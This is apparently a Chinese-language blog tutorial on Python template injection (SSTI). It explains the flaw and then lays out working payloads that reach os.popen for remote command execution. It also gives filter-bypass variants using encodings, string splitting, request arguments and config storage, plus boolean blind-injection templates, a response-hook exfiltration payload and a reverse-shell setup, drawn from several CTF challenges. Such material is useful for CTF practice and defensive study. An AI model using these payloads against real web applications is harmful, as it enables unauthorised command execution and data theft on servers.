python模板注入漏洞深度解析,从成因到简单利用,从简单利用到绕过,从回显到盲注
模板注入漏洞成因
模板注入漏洞的造成是由于在程序设计时,没有将用户传入的参数进行适当的处理再插入模板中,而是直接将用户的参数嵌入到模板中,从而导致漏洞。
以下是一个简单的模板注入漏洞的示例:
1 |
|
从这个示例中我们可以看到,这里直接将用户输入的字符串插入到模板字符串中,导致了模板注入漏洞。比如我们传入参数。
1 | payload={{'a'*7}} |
页面将会返回
1 | aaaaaaa |
可见,python中的模板注入漏洞会导致用户可以执行任意的python代码。
模板注入漏洞利用
我们已知,当存在模板注入漏洞时我们可以执行任意的python代码,那么我们的下一步就是利用python代码执行命令,而在python代码中,如果要执行命令,我们的首先想到的就是寻找os模块,利用其中的popen方法进行命令执行。那么根据python的特性,我们要获取os中的popen模块,通常可以采用如下方法:
1 | num=0 |
使用该python代码,即可在本地寻找os模块,我们稍作修改,即可在模板注入漏洞中利用它来尝试寻找靶机中的os模块。
1 | {%set%20item=''.__class__.__base__.__subclasses__()[1]%} |
放入BP中爆破:
可以看到还是有很多地方有os模块的,我们选择第一个306,构造payload:
1 | {{''.__class__.__base__.__subclasses__()[306].__init__.__globals__['os']['popen']('whoami').read()}} |
以上就是一个简单的pythonssti的利用过程,我们接下来对针对这个payload进行解释。
1 | ''.__class__ |
这一步是在利用字符串类的魔术方法,去获取他的类对象。这里还可以使用除字符串以外的其他类型比如元组,数组。
1 | ''.__class__.__base__ |
这一步是获取基类,这一步是很多payload的重要步骤,因为我们如果想要调用os方法就需要通过基类去获取。
接下来就是获取他的所有子类。
1 | ''.__class__.__base__.__subclasses__() |
再使用前面所提供的查找os模块的代码,找到os模块的下标后初始化,获取全局变量,使用os中的popen方法进行命令执行。
1 | ''.__class__.__base__.__subclasses__()[306].__init__.__globals__['os']['popen']('whoami') |
再使用read方法把结果回显到前端。
1 | ''.__class__.__base__.__subclasses__()[306].__init__.__globals__['os']['popen']('whoami').read() |
这就是一个简单的利用步骤了。
模板注入漏洞绕过
上面的所有步骤均为无拦截的情况,在实战中不可能这简单,所以接下来就是一些简单的绕过技巧。以下是官方对模板语法的介绍:
1 | {% ... %} for Statements |
1 | {% set x= 'abcd' %} 声明变量 |
'{{}}'绕过
当拦截了`{{`和`}}`时,我们可以用`{%%}`进行绕过,示例:1 | {{config}} |
‘.’绕过
当'.'被拦截时,可以使用'[]'或者|attr()绕过,以下为示例:1 | {{''.__class__}} |
‘[]’绕过
当’[]’被拦截,可使用getitem()和绕过
1 | {{''.__class__.__base__.__subclasses__()[306]}} |
request方法绕过
当某些特定的字符或者单引号被拦截时,可以采用request的方法绕过
1 | {{[]['__class__']}} |
除去GET参数,还有其他的方法可以获取参数,这里仅贴出一部分:
1 | request.args.key #获取get传入的key的值 |
‘_’绕过
我们已知
1 | {{''|attr('__class__')}} |
同时,在attr和’[]’中,字符可以使用编码来代替:
Unicode编码绕过
\u005f=’_’
所以,我们可以这样构造payload
1 | {{''|attr('\u005f\u005fclass\u005f\u005f')}} |
十六进制编码绕过
\x5f=’_’
所以可以这样构造payload
1 | {{''|attr('\x5f\x5fclass\x5f\x5f')}} |
其他编码也可以实现同样的效果。
格式化字符串
在python中
1 | print("%c%cclass%c%c"%(95,95,95,95)) |
所以我们可以构造如下payload
1 | {{()|attr("%c%cclass%c%c"%(95,95,95,95))}} |
关键字绕过
字符串拼接绕过
在python中
1 | print('o'+'s') |
假设过滤了关键字class、base、os、popen,我们可以构造如下payload:
1 | {{''['__cla'+'ss__']['__ba'+'se__']['__subclass'+'es__']()[306]['__in'+'it__']['__glob'+'als__']['o'+'s']['po'+'pen']('who'+'ami')['re'+'ad']()}} |
数字过滤绕过
假设过滤了数字,我们可以采用内置方法length和int获取数字,如果长度有所限制,则可以搭配request对象来绕过:
1 | {%set a='aaaa'|length%}{%print(a)%}#输出整型4 |
长度绕过
使用长度较短的payload:
这里我先给出一个简单的示例
原题:imaginaryCTF 2022 - SSTI Golf
1 |
|
在这个示例中,限制了长度为49,如果使用之前提到的方式去注入,显然会出现过长的情况。所以这里要使用其他的方式进行注入,比如使用Flask内置的全局函数。
url_for:此函数全局空间下存在 eval() 和 os 模块
lipsum:此函数全局空间下存在 eval() 和 os 模块
1 | {{url_for.__globals__.os.popen('whoami').read()}} |
将payload保存在config中
我们已知config实际上是一个保存了全局变量的字典:
那么我们就可以使用赋值的方式将payload保存在config中。而set方法则是设置变量,所以我们可以实现如下操作:
可以看到,s:string被保存到了config中,所以我们可以将payload保存在config中,以此绕过长度限制。以下是一个简单的示例:
原题:imaginaryCTF 2022 - minigolf
1 |
|
1 | {{lipsum.__globals__.os.popen('whoami').read()}} |
1 | {%set%20x=config.update(l=lipsum)%} |
1 | {%set%20x=config.update(c=request.args.g)%}{%print(config)%}&g=__globals__ |
1 | {%set%20x=config.update(f=config.l|attr(config.c))%}{%print(config)%} |
1 | {%set%20x=config.update(o=config.f.os)%}{%print(config)%} |
1 | {%set%20x=config.update(p=config.o.popen)%}{%print(config)%} |
1 | txt={%print(config.p(request.args.a).read())%}&a=whoami |
盲注
上述所有的讨论都是在有回显的情况下进行的注入,但是比赛中并不是所有题目都会给出回显,而针对没有回显的情况一般就几种方式,盲注,写文件,弹shell,或者用钩子函数外带结果,这里先介绍盲注和钩子函数。
布尔盲注
这里给出一个简单的示例:
原题:第十八届全国大学生信息安全竞赛(创新实践能力赛)暨第二届“长城杯”铁人三项赛(防护赛)- Safe_Proxy
1 |
|
这里是一个显然的盲注,因为渲染的结果没有返回到前端中,且这里还拦截了一些关键字,我们开始分析:
import,os,sys,eval,subprocess,popen,system:这些关键字的拦截我们可以使用字符串拼接绕过的方式来实现绕过。
__:针对下划线的绕过我们可以采用十六进制编码绕过。
\r,\n:这两个拦截是凑字数的,没有任何的作用。
这里我们已知结果不会返回前端,那么我们就需要使用盲注,这里先使用布尔盲注,写出payload:
1 | {%set+allchar="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^%26*()-_+{}[]|:;?/><.,ABCDEFGHIJKLMNOPQRSTUVWXYZ"%} |
绕过关键字
1 | {%set+allchar="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^%26*()-_+{}[]|:;?/><.,ABCDEFGHIJKLMNOPQRSTUVWXYZ"%} |
绕过下划线
1 | {%set+allchar="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^%26*()-_+{}[]|:;?/><.,ABCDEFGHIJKLMNOPQRSTUVWXYZ"%} |
简单解释一下,该payload首先把所有字符都放在了一个字符串中,便于爆破,然后定义了os和popen字符串,在通过url_for这个内置方法执行命令,并把结果存入到res中。最后通过if去爆破字符串,当相同时程序正常执行,当不同时程序出现异常报错,从而达到猜出字符串的目的。
得到爆破后的结果,用脚本处理一下。
1 | x='abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_+{}[]|:;?/><.,ABCDEFGHIJKLMNOPQRSTUVWXYZ' |
钩子函数回显
这里给出一个简单示例:
原题:2024“国城杯”网络安全挑战大赛-Ez_Gallery
1 | def shell_view(request): |
这里可以看到,渲染的结果是没有被返回的,也就是不存在回显,再分析一下waf
%:也就是把if,set给ban,上一个示例的方法也就行不通了。
length,count,[0-9],soft:把关键字和数字ban掉了,数字这里可以用request+int来绕,不过也可以采用不需要数字的方法来绕。
..:这里是把’.’给ban了,可以用中括号绕也可以用|attr绕过。
这里着重介绍钩子函数回显,先构造payload:
1 | {{cycler.__init__.__globals__.__builtins__['exec']("request.add_response_callback(lambda%20request,response:setattr(response,'text',__import__('os').popen('whoami').read()))",{'request':request})}} |
解析:这里是通过内置方法cycler,初始化,获取全区变量,获取所有内置函数,来获取exec方法,然后传入参数:
1 | "request.add_response_callback(lambda%20request,response:setattr(response,'text',__import__('os').popen('whoami').read()))" |
其中exec是一个执行python代码的方法,所这里的字符串就是要执行的python代码,这里的request就是要执行的python代码要传入的参数,这里的大意是,执行request类下的add_reponse_callback方法,前面是请求体,后面的response则是设置响应体和设置响应体的结果,这样就会将结果直接返回到前端中。接下来我们绕过一下’.’
1 | {{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda%20request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}} |
反弹shell
这种方式的前提是靶机能出网,我们使用上一个示例,构造payload,这里不再详细解析了:
1 | {{lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')(request|attr('POST')|attr('get')('shell'))}} |
参考文献
最全SSTI模板注入waf绕过总结(6700+字数!)_ssti注入绕过-CSDN博客
Python Flask SSTI 之 长度限制绕过_python绕过长度限制的内置函数-CSDN博客
第十八届全国大学生信息安全竞赛(创新实践能力赛)暨第二届“长城杯”铁人三项赛(防护赛)个人WP
https://docs.pylonsproject.org/projects/pyramid/en/1.4-branch/narr/hooks.html